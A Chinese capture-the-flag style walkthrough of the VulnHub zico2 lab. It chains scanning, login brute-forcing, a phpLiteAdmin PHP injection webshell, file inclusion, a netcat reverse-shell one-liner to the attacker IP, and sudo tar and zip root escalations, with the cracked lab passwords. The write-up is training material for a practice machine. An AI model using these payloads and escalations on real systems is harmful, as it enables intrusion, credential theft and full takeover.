zico2: 1靶场渗透测试

devtools/2025/3/18 23:09:34/

zico2: 1 来自 <zico2: 1 ~ VulnHub>

1,将两台虚拟机网络连接都改为NAT模式

2,攻击机上做namp局域网扫描发现靶机

nmap -sn 192.168.23.0/24

那么攻击机IP为192.168.23.182,靶场IP192.168.23.203

3,对靶机进行端口服务探测

nmap -sV -T4 -p- -A 192.168.23.203

22/tcp (SSH):

  • 服务版本: OpenSSH 5.9p1 Debian 5ubuntu1.10 (Ubuntu Linux; protocol 2.0)
  • SSH主机密钥:
    • DSA: 1024位
    • RSA: 2048位
    • ECDSA: 256位
  • 分析: OpenSSH版本较老(5.9p1),可能存在已知漏洞。建议升级到最新版本以确保安全

80/tcp (HTTP):

  • 服务版本: Apache httpd 2.2.22 (Ubuntu)
  • HTTP标题: Zico's Shop
  • 服务器头: Apache/2.2.22 (Ubuntu)
  • 分析: Apache版本较老(2.2.22),可能存在已知漏洞。建议升级到最新版本。此外,可以进一步扫描Web应用程序以查找潜在的漏洞。

111/tcp (rpcbind):

  • 服务版本: rpcbind 2-4 (RPC #100000)
  • rpcinfo:
    • 提供了多个RPC服务的端口和协议信息。
  • 分析: rpcbind服务通常用于远程过程调用(RPC),可能存在安全风险。建议限制访问或禁用不必要的RPC服务。

36826/tcp (status):

  • 服务版本: status 1 (RPC #100024)
  • 分析: 这是一个RPC状态服务,通常与rpcbind一起使用。同样建议限制访问或禁用不必要的RPC服务

4,访问80端口开放的web网站,检查是否存在漏洞

是一个购物网站,尝试对网站的子目录进行枚举爆破扫描

dirsearch -u http://192.168.23.203 -x 403,404,500

5,经过访问发现到一个网站

http://192.168.23.203/dbadmin/test_db.php

尝试使用弱口令爆破登录。用cewl工具爬取网页的字典数据,并生成一个字典txt:

 cewl http://192.168.23.203 -w 1.txt

然后使用burpsuite抓获POST请求包,

选用字典替换password然后爆破

最后成功爆破出用户登录密码为admin,弱口令

6,然后登录访问这个网站

然后就从数据库中拿到了用户密码

将MD5加密pass解密得:

root : 34kroot34

zico : zico2215@

7,尝试ssh登录

全都是错误的

phpLiteAdmin简介

phpLiteAdmin是一个基于 Web 的轻量级 SQLite 数据库管理工具,类似于 phpMyAdmin(用于 MySQL),但专门为 SQLite 数据库设计。它通过简单的 PHP 脚本提供对 SQLite 数据库的图形化管理界面,适合开发者和运维人员快速操作数据库。

核心特点

  1. 轻量级:
    • 单文件部署(仅需一个 .php 文件),无需复杂安装。
    • 依赖简单:仅需 PHP 环境和 SQLite 扩展支持。
  2. 功能全面:
    • 支持创建、删除、重命名数据库。
    • 支持数据表/索引/视图的增删改查。
    • 执行自定义 SQL 语句。
    • 导入/导出数据(支持 CSV、SQL 格式)。
    • 数据分页浏览和搜索。
  3. 跨平台:
    • 可在任何支持 PHP 的服务器上运行(如 Apache、Nginx)。
  4. 开源免费:
    • 代码托管在 GitHub,可自由修改和扩展。

使用场景

  • 本地开发调试:快速管理 SQLite 数据库文件(.sqlite 或 .db)。
  • 嵌入式系统:适用于资源有限的设备(如 IoT 设备)。
  • 简单 Web 应用:替代 MySQL 的轻量级数据库方案。

 

8,那就尝试通过web网站尝试getshell,首先检索软件的漏洞

searchsploit phpLiteAdmin

正好1.9.3版本存在远程代码执行漏洞,将exp存储出来查看

漏洞解析:phpLiteAdmin <= 1.9.3 远程PHP代码注入漏洞

1. 漏洞概述

  • 漏洞类型:远程代码执行(RCE)
  • 影响版本:phpLiteAdmin <= 1.9.3
  • 利用条件
    • 目标服务器未正确配置安全策略(如允许创建 .php 扩展名的数据库文件)。
    • 攻击者能够访问 phpLiteAdmin 的 Web 界面(默认密码 admin 或已知凭据)。
  • 漏洞根源:未对用户输入的数据库文件名进行过滤,导致恶意PHP代码注入

漏洞利用步骤

步骤1:创建恶意数据库

  1. 访问 phpLiteAdmin:
    • 默认地址:http://target/phpliteadmin.php
    • 使用默认密码 admin 登录(若未修改配置)。
  2. 创建数据库:
    • 在 “Create new database” 输入框填写数据库名:hack.php。
    • 点击 Create,phpLiteAdmin 将在其安装目录生成 hack.php(SQLite 数据库文件)。
      注意:某些服务器配置可能自动将文件名修正为 hack.sqlite。此时需通过 “Rename Database” 功能将其重命名为 hack.php。

步骤2:插入PHP代码

  1. 创建数据表:
    • 打开 hack.php 数据库。
    • 创建新表(如 exploit),定义字段结构:
      CREATE TABLE exploit (code TEXT);
  2. 插入恶意数据:
    • 向 exploit 表插入一条记录,文本字段值为 <?php phpinfo(); ?>:
      INSERT INTO exploit (code) VALUES ('<?php phpinfo(); ?>');
      关键点:PHP代码作为普通文本写入数据库文件,但后续通过Web访问该文件时会被解析执行。

步骤3:触发代码执行

  • 访问恶意数据库文件:
    • 直接通过浏览器访问数据库文件:http://target/hack.php。
    • 服务器将 hack.php 视为PHP脚本解析,执行其中的 <?php phpinfo(); ?>,返回PHP环境信息页面。

9,然后开始进行漏洞利用

首先创建一个名为hack.php的数据库

然后在hack.php数据库里面创建一个数据表

Default Value下插入一句话木马 <?php echo system($_GET[cmd]);?>

因为在这里上传的一句话中引号会被过滤,所以一句话木马要求不含单引号

创建操作成功之后。就需要结合/view.php页面存在的文件包含漏洞去利用命令执行漏洞

http://192.168.23.203/view.php?page=../../usr/databases/hack.php&cmd=whoami

10,然后利用python进行反弹shell,还是在这个页面命令执行。首先添加一条

<?php passthru("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.23.182 4444 >/tmp/f"); ?>

随后nc监听4444端口,浏览器访问

http://192.168.23.203/view.php?page=../../../../../usr/databases/hack.php

成功getshell

11,然后使用python脚本启动交互式shell

python -c 'import pty; pty.spawn("/bin/bash")'

这个靶机名字叫zico,搜一下靶机上有没有和zico相关的文件或者文件夹:

find / -name "*zico*" 2>/dev/null

发现网站是wordpress框架的

那么就可以查看数据库的配置文件,进一步信息收集。配置文件在/home/zico/wordpress/wp-config.php

账号:zico

密码:sWfCsfJSPV9H3AmQzw8

这才是真正的账户密码

12,ssh登录一下

ssh zico@192.168.23.203

sudo -l查看一下有无sudo提权利用的地方

那么就有两种提权方法,tar提权和zip提权
 

第一种方法:

sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh

  • sudo: 以超级用户权限运行后续命令。
  • tar: 归档工具,此处被赋予 root 权限。
  • -cf /dev/null:
    • -c 创建归档文件。
    • -f /dev/null 将归档输出到 /dev/null(黑洞设备,丢弃所有数据)。
  • /dev/null: 要归档的“文件”(实际为空设备,无内容)。
  • --checkpoint=1: 每处理 1个记录块 触发一次检查点。
  • --checkpoint-action=exec=/bin/sh: 在检查点触发时执行 /bin/sh(启动交互式 Shell)。

2. 提权原理

核心漏洞:tar 的检查点机制滥用

tar 的 --checkpoint 和 --checkpoint-action 功能设计初衷是用于备份或恢复大文件时执行定期操作(如日志记录)。但攻击者通过参数注入,强制 tar 在处理第一个记录块时立即触发检查点,并执行任意命令。

关键步骤:

  1. 触发检查点:
    • --checkpoint=1 表示每处理 1个记录块 触发一次检查点。
    • 归档的目标是 /dev/null(空设备),tar 会快速完成操作,但依然会生成 元数据(如文件头信息),占用至少一个记录块。
  2. 执行命令:
    • --checkpoint-action=exec=/bin/sh 会在检查点触发时执行 /bin/sh。
    • 由于 tar 以 root 权限运行,启动的 Shell 继承 root 权限。

3. 技术细节验证

记录块与元数据

记录块大小: 默认 tar 使用 20个 512字节的块(共 10KB)作为一个记录块。

元数据写入: 即使归档 /dev/null(空文件),tar 仍会写入以下元数据:

  • 文件头信息(文件名、权限、时间戳等)。
  • 结束标记(两个全零块)。
  • 至少占用 1个记录块(即 10KB),触发检查点。

实际测试

# 执行命令后,检查进程树:
$ ps aux | grep 'tar\|sh'

sh 进程以 root 身份运行,成功提权。

 

第二种方法:

TF=$(mktemp -u)
sudo zip $TF /etc/hosts -T -TT 'sh #'
sudo rm $TF

TF=$(mktemp -u):

  • mktemp -u 生成一个唯一的临时文件名(如 /tmp/tmp.XXXXXX),但不会实际创建文件。
  • 目的是为 zip 命令提供一个未使用的临时文件路径。

sudo zip $TF /etc/hosts -T -TT 'sh #':

  • sudo: 以 root 权限运行 zip。
  • $TF: 使用临时文件作为 ZIP 文件名。
  • /etc/hosts: 要压缩的目标文件。
  • -T: 测试生成的 ZIP 文件完整性。
  • -TT 'sh #': 指定测试 ZIP 文件的命令为 sh,# 是注释符,用于截断后续参数。

sudo rm $TF:

  • 清理临时文件(实际可能未被创建)。

提权原理

关键漏洞:zip 的 -TT 参数命令注入

zip 的 -TT 参数用于指定测试 ZIP 文件的命令。若用户能控制此参数,可通过注入命令实现任意代码执行。结合 sudo 的 root 权限,攻击者能启动一个 root Shell。

步骤分析:

  1. 生成临时文件路径:
    • TF=$(mktemp -u) 生成一个唯一路径(如 /tmp/tmp.ABC123),但未实际创建文件。
  2. 执行 zip 命令:
    • zip 尝试压缩 /etc/hosts 到临时文件 $TF,并启用测试模式(-T)。
    • -TT 'sh #' 将测试命令设置为 sh,# 会注释掉后续默认参数(如 $TF),从而直接执行 sh。
  3. 触发命令执行:
    • zip 在测试 ZIP 文件时,执行 sh 命令。
    • 由于 sudo 以 root 权限运行 zip,启动的 sh 继承 root 权限。


http://www.ppmy.cn/devtools/168175.html

相关文章

网络实验操作-VLAN

实验目的 了解VLAN的作用和配置。 基础实验 需求&#xff1a;所有PC在相同网段&#xff0c;但只有PC1和PC3可以互通&#xff0c;PC2和PC4可以互通 配置思路 将可以互通的PC放到相同的VLAN中即可。 配置过程 某一个switch的配置&#xff1a; # interface GigabitEthernet…

玩转python:通俗易懂掌握高级数据结构-collections模块之UserDict

引言 UserDict是Python中collections模块提供的一个强大工具&#xff0c;它是dict的封装类&#xff0c;允许用户自定义字典的行为。通过继承UserDict&#xff0c;开发者可以轻松扩展字典的功能&#xff0c;实现自定义的字典逻辑。本文将详细介绍UserDict的关键用法和特性&…

MySQL -- 复合查询

数据库的查询是数据库使用中比较重要的环节&#xff0c;前面的基础查询比较简单&#xff0c;不做介绍&#xff0c;可自行查阅。本文主要介绍复合查询&#xff0c;并结合用例进行讲解。 本文的用例依据Soctt模式的经典测试表&#xff0c;可以自行下载&#xff0c;也可以自己创建…

解释 TypeScript 中的枚举(enum),如何使用枚举定义一组常量?

枚举&#xff08;Enum&#xff09;​ 是 TypeScript 中用于定义一组具名常量的核心类型&#xff0c;通过语义化的命名提升代码可读性&#xff0c;同时利用类型检查减少低级错误。 以下从定义方式、使用建议、注意事项三方面深入解析。 一、枚举的定义方式 1. 数字枚举 特性&…

goweb中文件上传和文件下载

文件上传 文件上传:客户端把上传文件转换为二进制流后发送给服务器,服务器对二进制流进行解析HTML表单(form)enctype(Encode Type)属性控制表单在提交数据到服务器时数据的编码类型 enctype“application/x-www-form-urlencoded” 默认值,表单数据会被编码为名称/值形式。oenc…

机器学习之激活函数

什么是激活函数 激活函数是神经网络的关键组件&#xff0c;作用于神经元输出。神经元汇总输入并计算净输入值&#xff0c;激活函数将其非线性变换&#xff0c;生成神经元最终输出&#xff0c;该输出作为后续神经元输入在网络中传播。 为什么需要激活函数 引入非线性 无激活…

websocket学习手册及python实现简单的聊天室

概述 WebSocket 是一种网络通信协议&#xff0c;允许在单个 TCP 连接上进行全双工通信。它最核心的优势就在于实现了持久连接&#xff0c;实现了实时的数据传输。HTTP 协议有一个很大的缺点&#xff0c;通信只能由客户端发起&#xff0c;服务器返回响应后连接就会关闭&#xf…

Hyperlane:Rust 生态中的轻量级高性能 HTTP 服务器库,助力现代 Web 开发

Hyperlane&#xff1a;Rust 生态中的轻量级高性能 HTTP 服务器库&#xff0c;助力现代 Web 开发 在 Rust 生态系统中&#xff0c;Hyperlane 是一个备受关注的 HTTP 服务器库&#xff0c;以其轻量级、高性能和易用性脱颖而出。无论你是想快速构建一个高效的 Web 服务&#xff0…